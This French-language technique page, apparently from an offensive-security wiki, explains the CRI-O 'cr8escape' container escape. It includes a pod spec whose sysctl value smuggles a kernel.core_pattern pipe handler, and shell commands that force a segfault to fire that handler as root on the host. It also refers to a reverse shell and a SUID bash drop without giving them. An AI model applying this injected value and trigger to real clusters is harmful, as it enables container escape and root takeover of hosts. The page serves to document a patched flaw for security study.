Injection de paramètres noyau CRI-O

CRI-O transmettait les paramètres noyau spécifiés par le pod à son helper pinns sans validation, de sorte qu'une annotation de pod pouvait définir des réglages noyau arbitraires sur l'hôte. Définir kernel.core_pattern sur un gestionnaire en pipe, puis faire planter un processus, exécute un programme de l'attaquant en tant que root sur l'hôte, une évasion de conteneur pilotée entièrement depuis la spécification du pod.

2 min de lecturemis à jour le 12 oct. 2026florianamette1 contributeur
Demander à votre assistant (MCP)Modifier sur GitHub

CRI-O configure les paramètres noyau par pod via un helper nommé pinns, qu'il invoque avec les sysctls demandés dans la spécification du pod. La faille, connue sous le nom de cr8escape, tenait au fait que CRI-O construisait la chaîne d'arguments de pinns en concaténant les paramètres demandés sans les valider, de sorte qu'une valeur forgée pouvait injecter un paramètre noyau supplémentaire au-delà des sysctls namespacés autorisés. En faisant passer en fraude un réglage non namespacé tel que kernel.core_pattern dans cet argument, un attaquant pouvant créer un pod définit un paramètre noyau à l'échelle de l'hôte, puis le déclenche pour exécuter du code en tant que root sur l'hôte.

Confirmez le runtime :

bash
crictl version 2>/dev/null | grep -i cri-o   # CRI-O in the affected 1.19-1.23 range

Technique#

Le paramètre injecté définit core_pattern sur un gestionnaire en pipe, que le noyau de l'hôte exécute en tant que root lors d'un core dump :

yaml
# Pod spec requesting a sysctl whose value injects an extra kernel parameter.
# The crafted value closes the intended setting and appends core_pattern.
securityContext:
  sysctls:
  - name: kernel.shm_rmid_forced
    value: "1+kernel.core_pattern=|/var/lib/.../payload #"

Une fois que core_pattern pointe vers une charge résolvable par l'hôte, faire planter n'importe quel processus génère un core que le noyau redirige en pipe vers la charge en tant que root dans les namespaces de l'hôte :

bash
# inside any pod on that node, force a core dump to fire the handler
ulimit -c unlimited
python3 -c 'import ctypes; ctypes.string_at(0)'    # segfault triggers core_pattern

La charge s'exécute sur l'hôte ; un dépôt de bash SUID ou un reverse shell suit. Le mécanisme en aval est identique à l'évasion core_pattern, CRI-O fournissant la primitive d'écriture à la place d'un procfs monté.

Notes d'exploitation#

  • Le point d'entrée est la capacité à créer ou influencer une spécification de pod, donc cela importe partout où des utilisateurs non fiables soumettent des charges de travail à un cluster CRI-O.
  • La valeur injectée doit à la fois satisfaire le sysctl demandé et ajouter le paramètre supplémentaire ; le séparateur et la syntaxe de commentaire dans la valeur forgée sont ce qui fait passer le second réglage au-delà de la concaténation.
  • Les correctifs valident les paramètres passés à pinns et rejettent les caractères d'injection ; un CRI-O corrigé le met en échec.

Références#